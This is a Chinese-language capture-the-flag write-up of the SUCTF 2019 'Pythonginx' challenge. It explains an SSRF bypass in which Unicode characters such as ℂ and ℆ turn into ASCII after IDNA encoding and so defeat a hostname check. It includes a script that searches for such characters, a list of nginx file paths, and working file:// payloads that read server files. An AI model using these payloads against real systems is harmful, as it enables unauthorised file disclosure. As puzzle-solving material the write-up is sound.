[SUCTF 2019]Pythonginx
考点:
SSRF
nginx配置文件位置
脚本编写
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url") #获取url
host = parse.urlparse(url).hostname #获取主机名例如:http://www.baidu.com/index.php?a=111 会读取到www.baidu.com
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url)) #提取url中的各个字段
host = parts[1] #获取主机名即域名
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))#先idna编码再utf8解码
parts[1] = '.'.join(newhost) #组合成域名
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname #获取主机名
if host == 'suctf.cc': #判断是否为suctf.cc
return urllib.request.urlopen(finalUrl).read() #读取finalUrl
else:
return "我扌 your problem? 333"
</code>
<!-- Dont worry about the suctf.cc. Go on! -->
<!-- Do you know the nginx? -->
前两次通过parse.urlparse(url).hostname和urlspilt来判断主机名,如果是suctf.cc则失败,第三次经过idna编码和utf8解码后来判断是否为suctf.cc,那么要突破的就是这里。
要利用ssrf来读取flag,首先要找到flag的位置,题目提醒了中间件是nginx,nginx的一些配置信息如下:
配置文件存放目录:/etc/nginx
Nginx配置文件:/usr/local/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
需要查看配置文件才能知道flag的位置,普通构造应该是file://suctf.cc/usr/local/nginx/conf/nginx.conf
但是有前两次判断,所以这样不行,并且要绕过第三次判断
寻找有无满足条件的字符,即经过idna编码然后utf8编码后满足上面的payload
编写脚本寻找符合条件的字符:参考SUCTF_2019_部分复现
for i in range(128,65537):
tmp = chr(i)
try:
res = tmp.encode('idna').decode('utf-8')
if("-") in res: #出现-说明不符合要求,直接排除
continue
print("ascii:{} tmp:{} res:{}".format(i,tmp,res))
except:
pass
也可以加限制条件,比如想替换c,直接加
if “c” in res:
print(“ascii:{} tmp:{} res:{}”.format(i,tmp,res))
得到很多结果

随便用一个替换c然后尝试绕过:比如:ℂ
payload:file://suctf.cℂ/usr/local/nginx/conf/nginx.conf

得到flag位置:/usr/fffffflag

注意到有个符号℆,经过编码解码后为c/u,也可以利用这个构造payload:
读取flag:file://suctf.c℆sr/fffffflag